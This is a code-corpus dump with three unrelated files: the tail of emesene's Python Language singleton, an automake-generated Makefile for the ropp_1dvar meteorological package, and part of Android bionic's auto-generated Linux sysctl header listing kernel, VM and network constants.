Language object, if needed. otherwise, return it''' global _instance if _instance: return _instance _instance = Language() return _instance
emesene/emesene
emesene/Language.py
Python
gpl-3.0
7,488
# Makefile.in generated by automake 1.11.1 from Makefile.am. # config/Makefile. Generated from Makefile.in by configure. # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. # $Id: $ # # Makefile.am for ropp_1dvar/config # ================================ # 1. Subdirectories # ----------------- pkgdatadir = $(datadir)/ropp_1dvar pkgincludedir = $(includedir)/ropp_1dvar pkglibdir = $(libdir)/ropp_1dvar pkglibexecdir = $(libexecdir)/ropp_1dvar am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = x86_64-unknown-linux host_triplet = x86_64-unknown-linux subdir = config DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/m4/cm_compiler_defaults.m4 \ $(top_srcdir)/m4/cm_compilers.m4 \ $(top_srcdir)/m4/cm_fortran.m4 \ $(top_srcdir)/m4/cm_libraries.m4 $(top_srcdir)/m4/cm_tools.m4 \ $(top_srcdir)/configure.ac am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = depcomp = am__depfiles_maybe = SOURCES = DIST_SOURCES = RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \ html-recursive info-recursive install-data-recursive \ install-dvi-recursive install-exec-recursive \ install-html-recursive install-info-recursive \ install-pdf-recursive install-ps-recursive install-recursive \ installcheck-recursive installdirs-recursive pdf-recursive \ ps-recursive uninstall-recursive RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \ distclean-recursive maintainer-clean-recursive AM_RECURSIVE_TARGETS = $(RECURSIVE_TARGETS:-recursive=) \ $(RECURSIVE_CLEAN_TARGETS:-recursive=) tags TAGS ctags CTAGS \ distdir ETAGS = etags CTAGS = ctags DIST_SUBDIRS = $(SUBDIRS) DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) am__relativize = \ dir0=`pwd`; \ sed_first='s,^\([^/]*\)/.*$$,\1,'; \ sed_rest='s,^[^/]*/*,,'; \ sed_last='s,^.*/\([^/]*\)$$,\1,'; \ sed_butlast='s,/*[^/]*$$,,'; \ while test -n "$$dir1"; do \ first=`echo "$$dir1" | sed -e "$$sed_first"`; \ if test "$$first" != "."; then \ if test "$$first" = ".."; then \ dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \ dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \ else \ first2=`echo "$$dir2" | sed -e "$$sed_first"`; \ if test "$$first2" = "$$first"; then \ dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \ else \ dir2="../$$dir2"; \ fi; \ dir0="$$dir0"/"$$first"; \ fi; \ fi; \ dir1=`echo "$$dir1" | sed -e "$$sed_rest"`; \ done; \ reldir="$$dir2" ACLOCAL = ${SHELL} /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/missing --run aclocal-1.11 AMTAR = ${SHELL} /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/missing --run tar AM_CCFLAGS = AM_CPPFLAGS = -DpgiFortran AM_FCFLAGS = -I../build AM_FFLAGS = AM_LDFLAGS = AUTOCONF = ${SHELL} /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/missing --run autoconf AUTOHEADER = ${SHELL} /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/missing --run autoheader AUTOMAKE = ${SHELL} /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/missing --run automake-1.11 AWK = mawk CYGPATH_W = echo DEFS = -DPACKAGE_NAME=\"ropp_1dvar\" -DPACKAGE_TARNAME=\"ropp_1dvar\" -DPACKAGE_VERSION=\"7.0\" -DPACKAGE_STRING=\"ropp_1dvar\ 7.0\" -DPACKAGE_BUGREPORT=\"romsaf@metoffice.gov.uk\" -DPACKAGE=\"ropp_1dvar\" -DVERSION=\"7.0\" -DHAVE_MODULE_ROPP_UTILS=1 -DHAVE_MODULE_TYPESIZES=1 -DHAVE_MODULE_ROPP_FM=1 -DHAVE_MODULE_ROPP_IO=1 -DHAVE_MODULE_MATRIX_TYPES=1 -DHAVE_LIBRARY_NETCDF=1 -DHAVE_LIBRARY_ROPP_IO=1 -DHAVE_LIBRARY_ROPP_IO=1 -DHAVE_LIBRARY_NETCDF=1 -DHAVE_LIBRARY_ROPP_IO=1 ECHO_C = ECHO_N = -n ECHO_T = EXEEXT = FC = gfortran FCFLAGS = -O2 -I/home/mengbinzhu/pfldp/ropp-7.0/gfortran/include FCFLAGS_f90 = INSTALL = /usr/bin/install -c INSTALL_DATA = ${INSTALL} -m 644 INSTALL_PROGRAM = ${INSTALL} INSTALL_SCRIPT = ${INSTALL} INSTALL_STRIP_PROGRAM = $(install_sh) -c -s LDFLAGS = -L/home/mengbinzhu/pfldp/ropp-7.0/gfortran/lib -L/home/mengbinzhu/pfldp/ropp-7.0/gfortran/lib64 LIBOBJS = LIBS = -lropp_io -lnetcdff -lnetcdf -lropp_fm -lropp_io -lropp_io -lnetcdff -lnetcdf -lropp_utils LTLIBOBJS = M4_OPTS = MAKEINFO = ${SHELL} /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/missing --run makeinfo MKDIR_P = /bin/mkdir -p OBJEXT = o PACKAGE = ropp_1dvar PACKAGE_BUGREPORT = romsaf@metoffice.gov.uk PACKAGE_NAME = ropp_1dvar PACKAGE_STRING = ropp_1dvar 7.0 PACKAGE_TARNAME = ropp_1dvar PACKAGE_VERSION = 7.0 PATH_SEPARATOR = : RANLIB = ranlib ROBODOC = SET_MAKE = SHELL = /bin/bash STRIP = SVN2CL = VERSION = 7.0 abs_builddir = /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/config abs_srcdir = /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/config abs_top_builddir = /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar abs_top_srcdir = /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar ac_ct_FC = am__leading_dot = . am__tar = ${AMTAR} chof - "$$tardir" am__untar = ${AMTAR} xf - bindir = ${exec_prefix}/bin build = x86_64-unknown-linux build_alias = build_cpu = x86_64 build_os = linux build_vendor = unknown builddir = . datadir = ${datarootdir} datarootdir = ${prefix}/share docdir = ${datarootdir}/doc/${PACKAGE_TARNAME} dvidir = ${docdir} exec_prefix = ${prefix} host = x86_64-unknown-linux host_alias = host_cpu = x86_64 host_os = linux host_vendor = unknown htmldir = ${docdir} includedir = ${prefix}/include infodir = ${datarootdir}/info install_sh = ${SHELL} /home/mengbinzhu/pfldp/ropp-7.0/ropp_1dvar/install-sh libdir = ${exec_prefix}/lib libexecdir = ${exec_prefix}/libexec localedir = ${datarootdir}/locale localstatedir = ${prefix}/var mandir = ${datarootdir}/man mkdir_p = /bin/mkdir -p oldincludedir = /usr/include pdfdir = ${docdir} prefix = /home/mengbinzhu/pfldp/ropp-7.0/gfortran program_transform_name = s,x,x, psdir = ${docdir} sbindir = ${exec_prefix}/sbin sharedstatedir = ${prefix}/com srcdir = . sysconfdir = ${prefix}/etc target_alias = top_build_prefix = ../ top_builddir = .. top_srcdir = .. SUBDIRS = # 2. Sample configuration files # ----------------------------- EXTRA_DIST = default_1dvar.cf \ ecmwf_bangle_1dvar.cf \ ecmwf_refrac_1dvar.cf \ metoffice_bangle_1dvar.cf \ metoffice_refrac_1dvar.cf all: all-recursive .SUFFIXES: $(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) @for dep in $?; do \ case '$(am__configure_deps)' in \ *$$dep*) \ ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ && { if test -f $@; then exit 0; else break; fi; }; \ exit 1;; \ esac; \ done; \ echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign --ignore-deps config/Makefile'; \ $(am__cd) $(top_srcdir) && \ $(AUTOMAKE) --foreign --ignore-deps config/Makefile .PRECIOUS: Makefile Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status @case '$?' in \ *config.status*) \ cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ *) \ echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ esac; $(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(top_srcdir)/configure: $(am__configure_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(ACLOCAL_M4): $(am__aclocal_m4_deps) cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh $(am__aclocal_m4_deps): # This directory's subdirectories are mostly independent; you can cd # into them and run `make' without going through this Makefile. # To change the values of `make' variables: instead of editing Makefiles, # (1) if the variable is set in `config.status', edit `config.status' # (which will cause the Makefiles to be regenerated when you run `make'); # (2) otherwise, pass the desired values on the `make' command line. $(RECURSIVE_TARGETS): @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ *k*) failcom='fail=yes';; \ esac; \ done; \ dot_seen=no; \ target=`echo $@ | sed s/-recursive//`; \ list='$(SUBDIRS)'; for subdir in $$list; do \ echo "Making $$target in $$subdir"; \ if test "$$subdir" = "."; then \ dot_seen=yes; \ local_target="$$target-am"; \ else \ local_target="$$target"; \ fi; \ ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ || eval $$failcom; \ done; \ if test "$$dot_seen" = "no"; then \ $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ fi; test -z "$$fail" $(RECURSIVE_CLEAN_TARGETS): @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ *k*) failcom='fail=yes';; \ esac; \ done; \ dot_seen=no; \ case "$@" in \ distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \ *) list='$(SUBDIRS)' ;; \ esac; \ rev=''; for subdir in $$list; do \ if test "$$subdir" = "."; then :; else \ rev="$$subdir $$rev"; \ fi; \ done; \ rev="$$rev ."; \ target=`echo $@ | sed s/-recursive//`; \ for subdir in $$rev; do \ echo "Making $$target in $$subdir"; \ if test "$$subdir" = "."; then \ local_target="$$target-am"; \ else \ local_target="$$target"; \ fi; \ ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ || eval $$failcom; \ done && test -z "$$fail" tags-recursive: list='$(SUBDIRS)'; for subdir in $$list; do \ test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \ done ctags-recursive: list='$(SUBDIRS)'; for subdir in $$list; do \ test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \ done ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: tags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) set x; \ here=`pwd`; \ if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ include_option=--etags-include; \ empty_fix=.; \ else \ include_option=--include; \ empty_fix=; \ fi; \ list='$(SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ test ! -f $$subdir/TAGS || \ set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \ fi; \ done; \ list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ shift; \ if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ if test $$# -gt 0; then \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ "$$@" $$unique; \ else \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ $$unique; \ fi; \ fi ctags: CTAGS CTAGS: ctags-recursive $(HEADERS) $(SOURCES) $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ && $(am__cd) $(top_srcdir) \ && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags distdir: $(DISTFILES) @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ test -d "$(distdir)/$$subdir" \ || $(MKDIR_P) "$(distdir)/$$subdir" \ || exit 1; \ fi; \ done @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ dir1=$$subdir; dir2="$(distdir)/$$subdir"; \ $(am__relativize); \ new_distdir=$$reldir; \ dir1=$$subdir; dir2="$(top_distdir)"; \ $(am__relativize); \ new_top_distdir=$$reldir; \ echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \ echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \ ($(am__cd) $$subdir && \ $(MAKE) $(AM_MAKEFLAGS) \ top_distdir="$$new_top_distdir" \ distdir="$$new_distdir" \ am__remove_distdir=: \ am__skip_length_check=: \ am__skip_mode_fix=: \ distdir) \ || exit 1; \ fi; \ done check-am: all-am check: check-recursive all-am: Makefile installdirs: installdirs-recursive installdirs-am: install: install-recursive install-exec: install-exec-recursive install-data: install-data-recursive uninstall: uninstall-recursive install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-recursive install-strip: $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ `test -z '$(STRIP)' || \ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) maintainer-clean-generic: @echo "This command is intended for maintainers to use" @echo "it deletes files that may require special tools to rebuild." clean: clean-recursive clean-am: clean-generic mostlyclean-am distclean: distclean-recursive -rm -f Makefile distclean-am: clean-am distclean-generic distclean-tags dvi: dvi-recursive dvi-am: html: html-recursive html-am: info: info-recursive info-am: install-data-am: install-dvi: install-dvi-recursive install-dvi-am: install-exec-am: install-html: install-html-recursive install-html-am: install-info: install-info-recursive install-info-am: install-man: install-pdf: install-pdf-recursive install-pdf-am: install-ps: install-ps-recursive install-ps-am: installcheck-am: maintainer-clean: maintainer-clean-recursive -rm -f Makefile maintainer-clean-am: distclean-am maintainer-clean-generic mostlyclean: mostlyclean-recursive mostlyclean-am: mostlyclean-generic pdf: pdf-recursive pdf-am: ps: ps-recursive ps-am: uninstall-am: .MAKE: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) ctags-recursive \ install-am install-strip tags-recursive .PHONY: $(RECURSIVE_CLEAN_TARGETS) $(RECURSIVE_TARGETS) CTAGS GTAGS \ all all-am check check-am clean clean-generic ctags \ ctags-recursive distclean distclean-generic distclean-tags \ distdir dvi dvi-am html html-am info info-am install \ install-am install-data install-data-am install-dvi \ install-dvi-am install-exec install-exec-am install-html \ install-html-am install-info install-info-am install-man \ install-pdf install-pdf-am install-ps install-ps-am \ install-strip installcheck installcheck-am installdirs \ installdirs-am maintainer-clean maintainer-clean-generic \ mostlyclean mostlyclean-generic pdf pdf-am ps ps-am tags \ tags-recursive uninstall uninstall-am # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. .NOEXPORT:
MengbinZhu/pfldp
ropp-7.0/ropp_1dvar/config/Makefile
Makefile
gpl-3.0
17,774
/**************************************************************************** **************************************************************************** *** *** This header was automatically generated from a Linux kernel header *** of the same name, to make information necessary for userspace to *** call into the kernel available to libc. It contains only constants, *** structures, and macros generated from the original header, and thus, *** contains no copyrightable information. *** *** To edit the content of this header, modify the corresponding *** source file (e.g. under external/kernel-headers/original/) then *** run bionic/libc/kernel/tools/update_all.py *** *** Any manual change here will be lost the next time this script will *** be run. You've been warned! *** **************************************************************************** ****************************************************************************/ #ifndef _UAPI_LINUX_SYSCTL_H #define _UAPI_LINUX_SYSCTL_H #include <linux/kernel.h> #include <linux/types.h> /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ #include <linux/compiler.h> struct completion; #define CTL_MAXNAME 10 struct __sysctl_args { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ int __user * name; int nlen; void __user * oldval; size_t __user * oldlenp; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ void __user * newval; size_t newlen; unsigned long __linux_unused[4]; }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { CTL_KERN = 1, CTL_VM = 2, CTL_NET = 3, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ CTL_PROC = 4, CTL_FS = 5, CTL_DEBUG = 6, CTL_DEV = 7, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ CTL_BUS = 8, CTL_ABI = 9, CTL_CPU = 10, CTL_ARLAN = 254, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ CTL_S390DBF = 5677, CTL_SUNRPC = 7249, CTL_PM = 9899, CTL_FRV = 9898, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { CTL_BUS_ISA = 1 }; /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ enum { INOTIFY_MAX_USER_INSTANCES = 1, INOTIFY_MAX_USER_WATCHES = 2, INOTIFY_MAX_QUEUED_EVENTS = 3 /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ }; enum { KERN_OSTYPE = 1, KERN_OSRELEASE = 2, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_OSREV = 3, KERN_VERSION = 4, KERN_SECUREMASK = 5, KERN_PROF = 6, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_NODENAME = 7, KERN_DOMAINNAME = 8, KERN_PANIC = 15, KERN_REALROOTDEV = 16, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_SPARC_REBOOT = 21, KERN_CTLALTDEL = 22, KERN_PRINTK = 23, KERN_NAMETRANS = 24, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_PPC_HTABRECLAIM = 25, KERN_PPC_ZEROPAGED = 26, KERN_PPC_POWERSAVE_NAP = 27, KERN_MODPROBE = 28, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_SG_BIG_BUFF = 29, KERN_ACCT = 30, KERN_PPC_L2CR = 31, KERN_RTSIGNR = 32, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_RTSIGMAX = 33, KERN_SHMMAX = 34, KERN_MSGMAX = 35, KERN_MSGMNB = 36, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_MSGPOOL = 37, KERN_SYSRQ = 38, KERN_MAX_THREADS = 39, KERN_RANDOM = 40, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_SHMALL = 41, KERN_MSGMNI = 42, KERN_SEM = 43, KERN_SPARC_STOP_A = 44, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_SHMMNI = 45, KERN_OVERFLOWUID = 46, KERN_OVERFLOWGID = 47, KERN_SHMPATH = 48, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_HOTPLUG = 49, KERN_IEEE_EMULATION_WARNINGS = 50, KERN_S390_USER_DEBUG_LOGGING = 51, KERN_CORE_USES_PID = 52, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_TAINTED = 53, KERN_CADPID = 54, KERN_PIDMAX = 55, KERN_CORE_PATTERN = 56, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_PANIC_ON_OOPS = 57, KERN_HPPA_PWRSW = 58, KERN_HPPA_UNALIGNED = 59, KERN_PRINTK_RATELIMIT = 60, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_PRINTK_RATELIMIT_BURST = 61, KERN_PTY = 62, KERN_NGROUPS_MAX = 63, KERN_SPARC_SCONS_PWROFF = 64, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_HZ_TIMER = 65, KERN_UNKNOWN_NMI_PANIC = 66, KERN_BOOTLOADER_TYPE = 67, KERN_RANDOMIZE = 68, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_SETUID_DUMPABLE = 69, KERN_SPIN_RETRY = 70, KERN_ACPI_VIDEO_FLAGS = 71, KERN_IA64_UNALIGNED = 72, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_COMPAT_LOG = 73, KERN_MAX_LOCK_DEPTH = 74, KERN_NMI_WATCHDOG = 75, KERN_PANIC_ON_NMI = 76, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ KERN_PANIC_ON_WARN = 77, }; enum { VM_UNUSED1 = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_UNUSED2 = 2, VM_UNUSED3 = 3, VM_UNUSED4 = 4, VM_OVERCOMMIT_MEMORY = 5, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_UNUSED5 = 6, VM_UNUSED7 = 7, VM_UNUSED8 = 8, VM_UNUSED9 = 9, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_PAGE_CLUSTER = 10, VM_DIRTY_BACKGROUND = 11, VM_DIRTY_RATIO = 12, VM_DIRTY_WB_CS = 13, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_DIRTY_EXPIRE_CS = 14, VM_NR_PDFLUSH_THREADS = 15, VM_OVERCOMMIT_RATIO = 16, VM_PAGEBUF = 17, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_HUGETLB_PAGES = 18, VM_SWAPPINESS = 19, VM_LOWMEM_RESERVE_RATIO = 20, VM_MIN_FREE_KBYTES = 21, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_MAX_MAP_COUNT = 22, VM_LAPTOP_MODE = 23, VM_BLOCK_DUMP = 24, VM_HUGETLB_GROUP = 25, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_VFS_CACHE_PRESSURE = 26, VM_LEGACY_VA_LAYOUT = 27, VM_SWAP_TOKEN_TIMEOUT = 28, VM_DROP_PAGECACHE = 29, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_PERCPU_PAGELIST_FRACTION = 30, VM_ZONE_RECLAIM_MODE = 31, VM_MIN_UNMAPPED = 32, VM_PANIC_ON_OOM = 33, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ VM_VDSO_ENABLED = 34, VM_MIN_SLAB = 35, }; enum { /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_CORE = 1, NET_ETHER = 2, NET_802 = 3, NET_UNIX = 4, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IPV4 = 5, NET_IPX = 6, NET_ATALK = 7, NET_NETROM = 8, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_AX25 = 9, NET_BRIDGE = 10, NET_ROSE = 11, NET_IPV6 = 12, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_X25 = 13, NET_TR = 14, NET_DECNET = 15, NET_ECONET = 16, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_SCTP = 17, NET_LLC = 18, NET_NETFILTER = 19, NET_DCCP = 20, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ NET_IRDA = 412, }; enum { RANDOM_POOLSIZE = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ RANDOM_ENTROPY_COUNT = 2, RANDOM_READ_THRESH = 3, RANDOM_WRITE_THRESH = 4, RANDOM_BOOT_ID = 5, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ RANDOM_UUID = 6 }; enum { PTY_MAX = 1, /* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */ PTY_NR = 2 }; enum { 